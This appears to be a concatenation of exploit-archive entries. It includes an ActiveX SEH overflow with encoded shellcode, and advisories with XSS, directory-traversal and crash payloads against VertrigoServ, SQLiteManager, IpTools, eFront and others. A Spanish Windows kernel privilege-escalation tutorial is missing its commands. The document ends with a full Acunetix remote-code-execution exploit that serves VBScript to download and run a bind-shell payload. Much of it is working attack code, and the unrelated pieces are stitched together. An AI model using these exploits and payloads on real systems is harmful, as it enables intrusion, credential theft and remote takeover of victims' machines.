"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++)
{
buff += "A";
}
// [junk buffer][next SEH(jump)][SE Handler (pop pop ret)][Shellcode]
fbuff = arg1 + nseh + seh + nops + sc + buff;
target.LoadImage(fbuff);
</script>
</html>
source: https://www.securityfocus.com/bid/51291/info
Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.
An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.
Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.
string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>");
string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>")
source: https://www.securityfocus.com/bid/51293/info
VertrigoServ is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
VertrigoServ 2.25 is vulnerable; other versions may also be affected.
http://www.example.com/inc/extensions.php?mode=extensions&ext='"</script><script>alert(document.cookie)</script>
source: https://www.securityfocus.com/bid/51294/info
SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
SQLiteManager 1.2.4 is vulnerable; other versions may also be affected.
http://www.example.com/sqlite/main.php?dbsel='"</script><script>alert(document.cookie)</script>
source: https://www.securityfocus.com/bid/51294/info
SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
SQLiteManager 1.2.4 is vulnerable; other versions may also be affected.
IE-only
http://www.example.com/sqlite/?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?dbsel=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
source: https://www.securityfocus.com/bid/51301/info
Astaro Security Gateway is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user.
Astaro Security Gateway 8.1 is vulnerable; other versions may also be affected.
<div style="left: 300px; top: 220px; z-index: 2000; visibility: visible;" class="iPopUp" id="iPopup_2"><div
class="iPopUpTitle">Please confirm:</div><div class="iPopUpText"><p>​​​​​Are you sure
that you want to delete the X509 certificate
with private key object '>"<INCLUDED PERSISTENT SCRIPTCODE HERE!!!">'?</p></iframe></p></div><table border="0"
cellpadding="0" cellspacing="0"><tbody><tr><td style="padding: 2px;"><div id="btnDefault_iPopup_2" class="button"
style="width:
auto; cursor: pointer; color: black; font-weight: bold;"><div class="button_left"></div><div class="button_center"
style="width:
auto;"><span style="font-weight: normal;">OK</span></div><div
class="button_right"></div></div></td>​​​​​<td style="padding:
2px;"><div class="button" style="width: auto; cursor: pointer; color: black;"><div class="button_left"></div><div
class="button_center" style="width: auto;"><span style="font-weight: normal;">Cancel</span></div><div
class="button_right"></div></div></td></tr></tbody></table></div>
../index.dat
El kernel al ser el núcleo de cualquier sistema operativo, y la capa entre el hardware y software. Una explotación de este, deriva en que todo es ejecutado por el usuario SYSTEM (el usuario con mayor privilegios de todos en sistemas Windows).
El proceso para encontrar vulnerabilidades de kernel y explotarlas es aproximadamente el siguiente:
- Enumeramos la versión y parches de Windows –>
systeminfo - Buscamos exploits asociados a esa versión o parches
- Compilamos y ejecutamos –> No hace falta compilar si nos descargamos ya un exploit compilado
Hay que tener cuidado con los exploits de kernel, ya que suelen ser inestables, de un solo uso o que cause un crasheo del sistema. Por eso esta debe ser una de las últimas opciones para escalar privilegios.
Hay distintas herramientas que nos pueden ayudar a identificar este tipo de vulnerabilidades:
- Windows Exploit Suggester Next Generation
- Watson
- En metasploit: windows/gather/enum_patches
- Internet
Una vez enumerado que tipos de parches faltan o que vulnerabilidad afectan, podemos hacer uso de SecWiki, es un recurso que contiene una gran cantidad de exploits de kernel ya compilados.
Dicho esto, vamos con un caso práctico usando «Windows Exploit Suggester Next Generation»:
Lo primero de todo es obtener el systeminfo, esto incluye pasarlo a nuestra máquina Kali. Esta parte es sencilla, ya que lo podemos hacer en un solo paso. En nuestro Linux (en mi caso, kali) nos ejecutamos un servidor samba:
El argumento pwned es el nombre del recurso compartido, y el segundo argumento $(pwd) es la forma en la que le indicamos la ruta donde se ejecutará el servidor, en este caso, la ruta actual (también podríamos indicarlo con solo un punto).
Teniendo el servidor montado, nos dirigimos al Windows y simplemente redirigimos la salida del comando a nuestro servidor y recurso compartido:
Podemos confirmar que ha habido conexión si nos dirigimos al kali:
De esta forma, ya tenemos la salida del systeminfo:
Teniendo esto, vamos a hacer uso del «WESNG», lo primero es actualizar la base de datos de este. Es muy sencillo, simplemente lanzamos el siguiente comando:
Con esto, habrá actualizado el listado de CVEs.
El comando más básico de todos simplemente sería especificarle el archivo systeminfo:
Su salida es demasiado grande como para mostrarlo
Pero no pasa nada, vamos a usar algunos argumentos para solo ver lo que nos interesa. La estructura que sigue WESNG para mostrar cada CVE al cual puede ser vulnerable la máquina Windows, es la siguiente:
El campo que nos interesa es el Impact. Podemos ver los posibles valores de Impact usando grep y sort:
De esta forma, si nos fijamos, hay un valor de este campo que puede que sea por el que nos interese filtrar. Estoy hablando de «Elevation of Privilege», ya que es lo que queremos conseguir.
Sabiendo esto, podemos especificar a «WESNG» que solo nos muestre los CVE cuyo impacto sea una elevación de privilegios:
De esta forma, acabamos de pasar de 31883 líneas a:
Que siguen siendo muchas, pero ahora es trabajo nuestro encontrar el exploit a usar. Existe otro filtrado que quizás nos interese, ya que «WESNG» muestra algunos CVE sin «Exploits» (que OJO, no quiere decir que no haya, sino que al menos, no tiene ninguno asociado):
Si no nos interesa ver los CVEs los cuales no tengan ningún exploit asociado, podemos filtrar la búsqueda añadiendo el argumento --exploits-only:
Si vemos ahora el número de líneas, hemos bajado mucho más:
Hasta aquí posibles filtrados que nos puede interesar a la hora de buscar CVEs en «WESNG». Aun así, la herramienta tiene un panel de ayuda bastante completo y con muchas más opciones.
Llegados a este punto, ya dependerá de nosotros el exploit a escoger, con la experiencia habrá CVEs que nos suenen y vayamos al grano a probar esos según el sistema operativo. Esto ya se consigue con el tiempo y el esfuerzo.
En mi caso, voy a usar el «CVE-2019-1458», que ojo, el Windows 7 es vulnerable, y podemos encontrar exploits, sin embargo, «WESNG» indica que no tiene ninguno asociado, por lo que si hubiésemos usado el argumento --exploits-only, lo hubiese descartado, a pesar de ser vulnerable:
Habiendo localizado el CVE, vamos a dirigirnos a SecWiki para ver si tiene el exploit compilado:
En este caso, SecWiki, no tiene ningún exploit en el repositorio. Sin embargo, en el README.md nos indica otro repositorio el cual si contiene un exploit para este CVE:
Es típico que en los repositorios de exploits de escalación de privilegios se nos haga un PoC (Proof of Concept) del exploit:
En este caso, vemos dos cosas:
- El exploit solo se puede ejecutar una vez por cada inicio del sistema (esto nos puede indicar la inestabilidad resultante del exploit en el sistema).
- El exploit sigue la estructura de:
cve-2019-1458.exe <comando a ejecutar>
Sabiendo esto y teniendo descargado el binario del exploit en el Windows 7:
Vamos a escalar privilegios.
Establecemos un servidor samba en nuestro kali, además de ponernos en escucha:
Nota: el directorio donde nos encontramos ejecutando el servidor samba, contiene el binario «nc.exe» (netcat para Windows)
Ahora, volvemos al Windows 7, y ejecutaremos el siguiente comando usando el exploit:
De esta forma, volviendo al kali:
Conseguimos shell como «nt authority\system».
En el repositorio se nos indicaba que solo era un exploit de un solo uso por cada inicio, podemos confirmarlo:
Es tal la inestabilidad de en este caso, este exploit (y en general, de los exploits que se aprovechan del kernel), que cuando apagamos la máquina nos sale lo siguiente:
Esto no pasa claramente con todos los exploits, pero sí que podemos observar la delicadeza de lidiar con el kernel.
Retomando las herramientas mencionadas al principio:
- Windows Exploit Suggester Next Generation
- Watson
- En metasploit: windows/gather/enum_patches
- Internet
Podemos usar la que más nos guste, Watson por ejemplo en este caso no nos da nada:
El módulo de metasploit también nos ayuda en esta tarea:
En este caso no nos da ningún output significativo. Si detectase alguna posible vulnerabilidad nos lo indicaría de la siguiente forma:
Por último, pero no menos importante, otra herramienta a tener en cuenta es el propio internet.
Cuando ejecutamos systeminfo obtenemos la suficiente información como para buscar en Google alguna vulnerabilidad que afecte al Sistema Operativo y a la Versión:
De esta forma, aunque nos podamos ayudar de distintas herramientas, al final el trabajo manual y la propia investigación será lo que resulte en una escalada de privilegios exitosa.
source: https://www.securityfocus.com/bid/51311/info
IpTools Tiny TCP/IP servers is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.
Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.
IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affected.
http://www.example.com/..\..\boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/..\..\windows\system32\drivers\etc\hosts
http://www.example.com/../../windows/system32/drivers/etc/hosts
source: https://www.securityfocus.com/bid/51312/info
IPtools is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer.
Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition.
IPtools 0.1.4 is vulnerable; other versions may also be affected.
Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability
Software : IpTools(Tiny TCP/IP server)
Software Version : 0.1.4
Vendor: http://iptools.sourceforge.net/iptools.html
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: 2012-01-07
Updated:
Impact : High
Bug Description :
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service
flaw while sending more than 255 characters to it.
POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex (at) 163 (dot) com [email concealed]
#-------------------------------------------------------------
use IO::Socket;
$remote_host = '127.0.0.1'; #victim ip as your wish
$remote_port = 23; #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
$sock->send("a", 0);
$count++;
}
$sock->send("\r\n", 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#-------------------------------------------------------------
Credits : This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed]
mail: demonalex (at) 163 (dot) com [email concealed] / ChaoYi.Huang (at) connect.polyu (dot) hk [email concealed]
Pentester/Researcher
Dark2S Security Team/PolyU.HK
source: https://www.securityfocus.com/bid/51302/info
eFront is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
Successfully exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.
eFront 3.6.10 is vulnerable; other versions may also be affected.
http://www.example.com/student.php?ctg=personal&user=trainee&op=files&download=[file]
#!/usr/bin/python
import BaseHTTPServer, sys, socket
##
# Acunetix OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 27 Mar 2015 # Version: <=9.5 # Tested on: Windows 7
# Description: Acunetix Login Sequence Recorder (lsr.exe) Uses CoCreateInstance API From Ole32.dll To Record
# Target Login Sequence
# Exploit Based on MS14-064 CVE2014-6332 http://www.exploit-db.com/exploits/35229/
# This Python Script Will Start A Sample HTTP Server On Your Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
# And Finally You Can Connect To Victim Machine Using Netcat
# Usage:
# chmod +x acunetix.py
# ./acunetix.py
# Attacker Try To Record Login Sequence Of Your Http Server Via Acunetix
# nc 192.168.1.7 333
# Payload Generated By This Command: msfpayload windows/shell_bind_tcp LPORT=333 X > acunetix.exe
#
# Video: https://vid.me/SRCb
##
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(req):
req.send_response(200)
if req.path == "/acunetix.exe":
req.send_header('Content-type', 'application/exe')
req.end_headers()
exe = open("acunetix.exe", 'rb')
req.wfile.write(exe.read())
exe.close()
else:
req.send_header('Content-type', 'text/html')
req.end_headers()
req.wfile.write("""Please scan me!
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/acunetix.exe',\
'acunetix.exe');$(New-Object -com Shell.Application).ShellExecute('acunetix.exe');"
shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
end function
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>""")
if __name__ == '__main__':
sclass = BaseHTTPServer.HTTPServer
server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
print "Http server started", socket.gethostbyname(socket.gethostname()), 80
try:
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()